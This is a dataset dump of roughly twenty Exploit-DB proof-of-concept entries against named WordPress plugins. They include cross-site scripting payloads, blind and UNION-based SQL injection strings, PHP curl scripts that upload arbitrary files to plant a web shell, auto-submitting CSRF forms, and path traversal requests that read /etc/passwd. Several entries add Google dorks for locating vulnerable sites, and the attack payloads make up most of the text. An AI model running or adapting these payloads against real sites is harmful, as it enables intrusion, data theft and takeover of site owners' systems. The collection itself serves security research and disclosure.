deardaniel/secdata-raw huggingface dataset:
Exploit-DB #45880
Description: WordPress Plugin Ninja Forms 3.3.17 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-11-15
Author: MTK

Exploit:
# Exploit Title: Wordpress Plugin Ninja Forms 3.3.17 - Cross-Site Scripting
# Date: 2018-11-15
# Exploit Author: MTK
# Vendor Homepage: https://ninjaforms.com
# Softwae Link: https://wordpress.org/plugins/ninja-forms/
# Version: Up to V3.3.17
# Tested on: Debian 9 - Apache2 - Wordpress 4.9.8 - Firefox
# CVE : CVE-2018-19287

# Plugin description:
# Ninja Forms is the ultimate FREE form creation tool for WordPress. Build forms within minutes 
# using a simple yet powerful drag-and-drop form creator. For beginners, quickly and easily 
# design complex forms with absolutely no code. For developers, utilize built-in hooks, 
# filters, and even custom field templates to do whatever you need at any step in 
# the form building or submission using Ninja Forms as a framework.

# POC

|_1_|

http://127.0.0.1/wp-admin/edit.php?s&post_status=all&post_type=nf_sub&action=-1&form_id=1&nf_form_filter&begin_date&end_date="><img+src=mtk+onerror=alert(/MTK/);//&filter_action=Filter&paged=1&action2=-1

|_2_|

http://127.0.0.1/wp-admin/edit.php?s&post_status=all&post_type=nf_sub&action=-1&form_id=1&nf_form_filter&begin_date="><img+src=mtk+onerror=alert(/MTK/);//&end_date&filter_action=Filter&paged=1&action2=-1

|_3_|

http://127.0.0.1/wp-admin/edit.php?post_status=trash&post_type=nf_sub&form_id=1"><script>alert(/MTK/);</script>&nf_form_filter&paged=1
Exploit-DB #50455
Description: WordPress Plugin Ninja Tables 4.1.7 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-10-25
Author: Akash Patil

Exploit:
# Exploit Title: WordPress Plugin Ninja Tables 4.1.7 - Stored Cross-Site Scripting (XSS)
# Date: 25-10-2021
# Exploit Author: Akash Rajendra Patil
# Vendor Homepage: https://wordpress.org/plugins/ninja-tables/
# Software Link: https://wpmanageninja.com/downloads/ninja-tables-pro-add-on/
# Version: 4.1.7
# Tested on Windows

*How to reproduce vulnerability:*

1. Install Latest WordPress

2. Install and activate Ninja Tables <= 4.1.7
3. Enter JavaScript payload which is mentioned below
"><img src=x onerror=confirm(docment.domain)> in the 'Coulmn Name & Add Data'
and enter the data into the user input field.Then Navigate to Table Design

5. You will observe that the payload successfully got stored into the database and when you are triggering the same functionality in that time JavaScript payload is executing successfully and we are getting a pop-up.
Exploit-DB #37353
Description: WordPress Plugin Nmedia WordPress Member Conversation 1.35.0 - 'doupload.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2015-06-05
Author: Sammy FORGIT

Exploit:
source: https://www.securityfocus.com/bid/53790/info

The Nmedia WordPress Member Conversation plug-in for WordPress is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary PHP code and run it in the context of the Web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

Nmedia WordPress Member Conversation 1.35.0 is vulnerable; other versions may also be affected. 

<?php

$uploadfile="lo.php";
$ch = 
curl_init("http://www.exemple.com/wordpress/wp-content/plugins/wordpress-member-private-conversation/doupload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('Filedata'=>"@$uploadfile",
         'folder'=>"/test/"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access :
http://www.exemple.com/wordpress/wp-content/uploads/user_uploads/test/lo.php

lo.php
<?php
phpinfo();
?>
Exploit-DB #28485
Description: WordPress Plugin NOSpamPTI - Blind SQL Injection
Type: webapps
Platform: php
Date: 2013-09-23
Author: Alexandro Silva

Exploit:
[ NOSpamPTI Wordpress plugin Blind SQL Injection ]

[ Vendor product description ]

NOSpamPTI eliminates the spam in your comment box so strong and free,
developed from the idea of Nando Vieira <a href="http://bit.ly/d38gB8"
rel="nofollow">http://bit.ly/d38gB8</a>, but some themes do not support
changes to the functions.php to this we alter this function and
available as a plugin. Make good use of this plugin and forget all the Spam.

[ Bug Description ]

NOSpamPTI contains a flaw that may allow an attacker to carry out a
Blind SQL injection attack. The issue is due to the wp-comments-post.php
script not properly sanitizing the comment_post_ID in POST data. This
may allow an attacker to inject or manipulate SQL queries in the
back-end database, allowing for the manipulation or disclosure of
arbitrary data.

[ History ]

Advisory sent to vendor on 09/09/2013
Vendor reply 09/20/2013. According the vendor, the plugin was deprecated.

[ Impact ]

HIGH

[ Afected Version ]

2.1

[ CVE Reference]

CVE-2013-5917

[ POC ]

Payload:
POST /wordpress/wp-comments-post.php

author=1&challenge=1&challenge_hash=e4da3b7fbbce2345d7772b0674a318d5&comment=1&comment_parent=0&comment_post_ID=1
AND SLEEP(5)&email=sample@email.tst&submit=Post Comment&url=1

[ Vulnerable code ]

$post_id = $_POST['comment_post_ID'];

load_plugin_textdomain('nospampti',
WP_PLUGIN_URL.'/nospampti/languages/', 'nospampti/languages/');

    if ($hash != $challenge) {
        $wpdb->query("DELETE FROM {$wpdb->comments} WHERE comment_ID =
{$comment_id}");
        $count = $wpdb->get_var("select count(*) from $wpdb->comments
where comment_post_id = {$post_id} and comment_approved = '1'");


[ Reference ]

[1] No SpamPTI SVN repository -
http://plugins.svn.wordpress.org/nospampti/trunk/nospampti.php
[2] Owasp - https://owasp.org/index.php/SQL_Injection
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/

--------------------------------------------
iBliss Segurança e Inteligência - Sponsor: Alexandro Silva - Alexos
Exploit-DB #38393
Description: WordPress Plugin Occasions - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2013-03-19
Author: m3tamantra

Exploit:
source: https://www.securityfocus.com/bid/58599/info

The Occasions plugin for WordPress is prone to a cross-site request-forgery vulnerability because the application fails to properly validate HTTP requests.

Exploiting this issue may allow a remote attacker to perform certain unauthorized actions and gain access to the affected application. Other attacks are also possible.

Occasions 1.0.4 is vulnerable; other versions may also be affected. 

<html> <head><title>CSRF Occasions</title></head> <body> <!-- www.example.com:9001/wordpress --> <form action="http://127.0.0.1:9001/wordpress/wp-admin/options-general.php?page=occasions/occasions.php" method="POST"> <input type="hidden" name="action" value="saveoccasions" /> <input type="hidden" name="nodes[]" value="1" /> <input type="hidden" name="occ_title1" value="CSRF Vulnerability" /> <input type="hidden" name="occ_startdate1" value="18.03." /> <input type="hidden" name="occ_enddate1" value="28.03." /> <input type="hidden" name="occ_type1" value="1" /> <input type="hidden" name="occ_content1" value="<script>alert(1)</script>" /> <script>document.forms[0].submit();</script> </form> </body> </html>
Exploit-DB #24858
Description: WordPress Plugin Occasions 1.0.4 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2013-03-19
Author: m3tamantra

Exploit:
<html>
<!--
# Exploit Title: WordPress Occasions Plugin 1.0.4 CSRF
# Google Dork: inurl:"/wp-content/plugins/occasions
# Date: 18.03.2013
# Exploit Author: m3tamantra (http://m3tamantra.wordpress.com/blog)
# Vendor Homepage: http://wordpress.org/extend/plugins/occasions/
# Software Link: http://downloads.wordpress.org/plugin/occasions.zip
# Version: 1.0.4
# Tested on: Apache/2.2.16 (Debian) PHP 5.3.3-7+squeeze14 with Suhosin-Patch (cli)

You can use the CSRF vulnerability to add/delete Occasions. It is also possible to enter JavaScript in occ_content1 parameter when occ_type1=1 .
Think this is a feature not a bug, anyway because of the CSRF vulnerability this can be used to execute arbitrary JavaScript in the front-end area
(shortcode = [Occasions]).

PoC will add an alert in the front-end area.
Note: check occ_startdate1 and occ_enddate1 and set them appropriate.

-->

<head><title>CSRF Occasions</title></head>
<body>
	<!-- replace 127.0.0.1:9001/wordpress -->
	<form action="http://127.0.0.1:9001/wordpress/wp-admin/options-general.php?page=occasions/occasions.php" method="POST">
		<input type="hidden" name="action" value="saveoccasions" />
		<input type="hidden" name="nodes[]" value="1" />
		<input type="hidden" name="occ_title1" value="CSRF Vulnerability" />
		<input type="hidden" name="occ_startdate1" value="18.03." />
		<input type="hidden" name="occ_enddate1" value="28.03." />
		<input type="hidden" name="occ_type1" value="1" />
		<input type="hidden" name="occ_content1" value="<script>alert(1)</script>" />
		<script>document.forms[0].submit();</script>
	</form>
</body>
</html>
Exploit-DB #39498
Description: WordPress Plugin Ocim MP3 - SQL Injection
Type: webapps
Platform: php
Date: 2016-02-26
Author: xevil & Blankon33

Exploit:
========
Ocim MP3 Plugin SQL Injection Vulnerability
========

:----------------------------------------------------------------------------------------------------:
: # Exploit Title : Ocim MP3 Plugin SQL Injection Vulnerability
: # Date : 26 February 2016
: # Author : xevil and Blankon33
: # Vendor Site: http://www.ocimscripts.com/
: # Version:
: # Vulnerability : SQL Injection
: # Tested on : Wordpress 4.4.2
: # Severity : High
:----------------------------------------------------------------------------------------------------:

Summary
========
Ocim MP3 is Plugin to make MP3 Grabber site based on Wordpress.

Proof of Concept
========
Infected URL:
http://[Site]/[Path]/wp-content/plugins/ocim-mp3/source/pages.php?id=['SQLi]


Admin Panel:
http://[Site]/[Path]/oc-login.php

===========
Thanks to
===========
All Indonesian Hacker!!!
Exploit-DB #17681
Description: WordPress Plugin OdiHost NewsLetter 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2011-08-17
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress OdiHost Newsletter plugin <= 1.0 SQL Injection Vulnerability
# Date: 2011-08-17
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/odihost-newsletter-plugin.zip
# Version: 1.0 (tested)

---
PoC
---
http://www.site.com/wp-content/plugins/odihost-newsletter-plugin/includes/openstat.php?uid=-1&id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

---------------
Vulnerable code
---------------
$newsletterid = $_GET["id"];

...
	
$wpdb->query("update newsletterstat set newsletterstatopened = CONCAT(newsletterstatopened ,'". $subscriberid . ",') where newsletterstatnewsletterid= ". $newsletterid);
Exploit-DB #19009
Description: WordPress Plugin Omni Secure Files 0.1.13 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-06-07
Author: Adrien Thierry

Exploit:
# Exploit Title: Wordpress Omni-secure-files 0.1.13 Arbitrary File Upload
# Google Dork: inurl:wp-content/plugins/omni-secure-files/
# Date: 07/06/2012
# Exploit Author: Adrien Thierry
# Vendor Homepage: http://omni-secure.com/
# Software Link: http://downloads.wordpress.org/plugin/omni-secure-files.zip
# Version: 0.1.13

Maybe some trash files, but page upload.php in folder "examples" is vulnerable to Remote File Upload. Code :

<?php
$u="whatelse.php";
$c = curl_init("http://server/wp-content/plugins/omni-secure-files/plupload/examples/upload.php");
curl_setopt($c, CURLOPT_POST, true);
curl_setopt($c, CURLOPT_POSTFIELDS,
array('file'=>"@$u",'name'=>"shell.php"));
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
$e = curl_exec($c);
curl_close($c);
echo $e; 
?>


Shell could be found at :
	http://server/wp-content/plugins/wp-content/plugins/omni-secure-files/plupload/examples/uploads/shell.php
	
#########################################################################################
Exploit-DB #41182
Description: WordPress Plugin Online Hotel Booking System Pro 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-01-27
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Online Hotel Booking System Pro v1.0 (WordPress Plugin) - SQL Injection
# Google Dork: N/A
# Date: 27.01.2017
# Vendor Homepage: http://www.bestsoftinc.com/
# Software Buy: https://codecanyon.net/item/online-hotel-booking-system-pro-wordpress-plugin/9338914
# Demo: http://envato.bestsoftinc.net/wp-hotel-pro/
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PLUGIN_PATH]/front/roomtype-details.php?tid=[SQL]
# E.t.c
# # # # #
Exploit-DB #16251
Description: WordPress Plugin OPS Old Post Spinner 2.2.1 - Local File Inclusion
Type: webapps
Platform: php
Date: 2011-02-26
Author: AutoSec Tools

Exploit:
Source: http://packetstormsecurity.org/files/view/98751/WordPressOPSOldPostSpinner2.2-lfi.txt

------------------------------------------------------------------------
Software................WordPress OPS Old Post Spinner 2.2
Vulnerability...........Local File Inclusion
Download................http://1manfactory.com/ops
Release Date............2/25/2011
Tested On...............Windows 7 + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
------------------------------------------------------------------------

--Description--

A local file inclusion vulnerability in WordPress OPS Old Post Spinner
2.2 can be exploited to include arbitrary files.


--PoC--
http://localhost/wordpress/wp-content/plugins/old-post-spinner/logview.php?ops_file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini
Exploit-DB #17779
Description: WordPress Plugin oQey Gallery 0.4.8 - SQL Injection
Type: webapps
Platform: php
Date: 2011-09-05
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress oQey Gallery plugin <= 0.4.8 SQL Injection Vulnerability
# Date: 2011-09-05
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/oqey-gallery.0.4.8.zip
# Version: 0.4.8 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/oqey-gallery/getimages.php?gal_id=0' UNION ALL SELECT 1,2,3,4,5,6,7,CONCAT_WS(CHAR(95),version(),current_user(),database()),9,10%23

---------------
Vulnerable code
---------------
if(isset($_REQUEST['gal_id'])){
    ...
    $data = explode("-", $_REQUEST['gal_id']);
    $id = $data[0];
    ...
    $s = $wpdb->get_row("SELECT * FROM $oqey_galls WHERE id ='".$id."' ");
Exploit-DB #17730
Description: WordPress Plugin oQey Headers 0.3 - SQL Injection
Type: webapps
Platform: php
Date: 2011-08-27
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress oQey Headers plugin <= 0.3 SQL Injection Vulnerability
# Date: 2011-08-26
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/oqey-headers.0.3.zip
# Version: 0.3 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/oqey-headers/oqey_settings.php?img_header_id[]=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

---------------
Vulnerable code
---------------
if(isset($_GET['img_header_id'])){//order images
foreach ($_GET['img_header_id'] as $position => $item){
$h_update = sprintf("UPDATE $oqey_header SET oqey_h_order = '%d' WHERE oqey_h_id = '%s' ", $position,  $item
);
...
Exploit-DB #35288
Description: WordPress Plugin oQey-Gallery 0.2 - 'tbpv_domain' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-01-24
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/46007/info

The oQey-Gallery plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

oQey-Gallery Plugin 0.2 is vulnerable; other versions may also be affected. 


http://www.example.com/wordpress/wp-content/plugins/oqey-gallery/bcupload.php?tbpv_id=&tbpv_username=&tbpv_domain=%3C/script%3E%3Cscript%3Ealert(0)%3C/script%3E&tbpv_login=
Exploit-DB #40391
Description: WordPress Plugin Order Export Import for WooCommerce - Order Information Disclosure
Type: webapps
Platform: php
Date: 2016-09-19
Author: david-peltier

Exploit:
# Exploit Title: WordPress Plugin Order Export Import for WooCommerce
# Link: https://wordpress.org/plugins/order-import-export-for-woocommerce/
# Version: 1.0.8
# Date: 19th 2016
# Exploit Author: contact ([a]) david-peltier ([d]) fr
# Vendor Homepage: xadapter.com
# Version: 1.0.8
# Timeline: Vuln found: 17-09-2016, reported to vendor: 18-09-2016, fix: 19-09-2016


### SUMMARY

WooCommerce Order Export Import Plugin helps you to easily export and import orders in your store.
This attacks allows an attacker to export all order without being authenticated

### POC

http://server/wp-admin/admin.php?page=wf_woocommerce_order_im_ex&action=export
A .CSV with all orders will be downloaded

### FIX

The vendor fix this issue in 1.0.9
Exploit-DB #37411
Description: WordPress Plugin ORGanizer - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-06-15
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/54039/info

The Organizer plugin for WordPress is prone to the following security vulnerabilities:

1. A cross-site scripting vulnerability.
2. An information-disclosure vulnerability.
3. A directory-traversal vulnerability.

Attackers may leverage these issues to steal cookie-based authentication credentials, execute arbitrary script code in the browser, or disclose sensitive information; other attacks are also possible.

Organizer 1.2.1 is vulnerable; other versions may also be affected. 

Directory-traversal vulnerability:

http://www.example.com/wp-admin/wp-admin/admin.php?page=organizer/page/view.php

Cross-site scripting vulnerability:

http://www.example.com/wp-admin/admin.php?page=organizer/page/dir.php
"><script>alert(document.cookie)</script>

Information-disclosure vulnerability:

http://www.example.com/wp-admin/admin.php?page=organizer/page/users.php
Exploit-DB #7543
Description: WordPress Plugin Page Flip Image Gallery 0.2.2 - Remote File Disclosure
Type: webapps
Platform: php
Date: 2008-12-22
Author: GoLd_M

Exploit:
 _____   ____   __   __     _       ____        ____    ____ 
|_   _| |  _ \  \ \ / /    / \     / ___|      / ___|  / ___|
  | |   | |_) |  \ V /    / _ \   | |  _      | |     | |    
  | |   |  _ <    | |    / ___ \  | |_| |  _  | |___  | |___ 
  |_|   |_| \_\   |_|   /_/   \_\  \____| (_)  \____|  \____|

Wordpress Plugin Page Flip Image Gallery <= 0.2.2 Remote File Disclosure Vulnerability
D : http://downloads.wordpress.org/plugin/page-flip-image-gallery.0.2.2.zip
Poc : 
 /wp-content/plugins/page-flip-image-gallery/books/getConfig.php?book_id=../../../../../../../../../../../etc/passwd%00123

        ____           _           _           __  __ 
       / ___|   ___   | |       __| |         |  \/  |
      | |  _   / _ \  | |      / _` |         | |\/| |
      | |_| | | (_) | | |___  | (_| |         | |  | |
       \____|  \___/  |_____|  \__,_|  _____  |_|  |_|
                                      |_____|         

# milw0rm.com [2008-12-22]
Exploit-DB #30084
Description: WordPress Plugin page-flip-image-gallery - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2013-12-06
Author: Ashiyane Digital Security Team

Exploit:
###############################################################
# Exploit Title: Wordpress page-flip-image-gallery plugins Remote File
Upload Vulnerability
# Author: Ashiyane Digital Security Team
# Date: 12/06/2013
# Vendor Homepage: http://pageflipgallery.com
# Software Link :
http://downloads.wordpress.org/plugin/page-flip-image-gallery.zip
# Google dork: inurl:/wp-content/plugins/page-flip-image-gallery/
# Tested on: Windows/Linux
###############################################################

1)Exploit :
= = = = = =

<?php
$uploadfile="file.php";
$ch = curl_init("
http://127.0.0.1/wp-content/plugins/page-flip-image-gallery/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('orange_themes'=>"@$uploadfile")); curl_setopt($ch,
CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch); print "$postResult";
?>

http://[Target]/wp-content/uploads/file.php

# #### #### #### #### #### #### #### #### #
# BY T3rm!nat0r5
# E-mail : poya.terminator@gmail.com
# #### #### #### #### #### #### #### #### #
Exploit-DB #19481
Description: WordPress Plugin Paid Business Listings 1.0.2 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2012-06-30
Author: Chris Kellum

Exploit:
# Exploit Title: WordPress Paid Business Listings v1.0.2 Blind SQL Injection
# Date: 6/29/12
# Exploit Author: Chris Kellum
# Vendor Homepage: http://www.blazingtorch.com/
# Software Link: http://downloads.wordpress.org/plugin/paid-business-listings.1.0.2.zip
# Version: 1.0.2

==============
Plugin Details
==============

This plugin has a 3 stage process, which includes a submission form page, a submission status page, and a business listings page.

The results of the form injection can be determined by viewing whether the listing appears on the business listings page.

===============
Testing Details
===============

When recreating this vulnerability, create a "free listing" package (leave the cost field blank) in the admin panel and select that package when submitting the form.

Free listings are added to the Business Listings page immediately after form submission, so this will allow you to immediately verify how your SQL statement was evaluated.

=====================
Vulnerability Details
=====================

Input data from the form submission is not properly sanitized.

Using blind SQL injection techniques, true statements will result in the listing appearing on the business listings page, while false statements will not.

=================
Injection Example
=================

Using Burp Suite or other proxy, intercept the post request when submitting the form and add AND 1=1 to the request before forwarding:

action=paypal_form&pbl_listing_name=My+Company+Name&pbl_listing_logo_url=&pbl_listing_description=My+business+description
&pbl_listing_phone=[PII_REDACTED]&pbl_listing_url=http%3A%2F%2Fwww.mywebsite.com%2F&pbl_listing_email=myemail%40address.com
&pbl_listing_address=123+Main+Street&pbl_listing_city=Durham&pbl_listing_state=North+Carolina&pbl_listing_zip=27707
&pbl_listing_cat_id=1&pbl_listing_pkg_id=2 AND 1=1

Submission of this request will result in the listing appearing on the business listings page. 

When submitting the request with AND 1=0, the listing will not appear on the business listings page.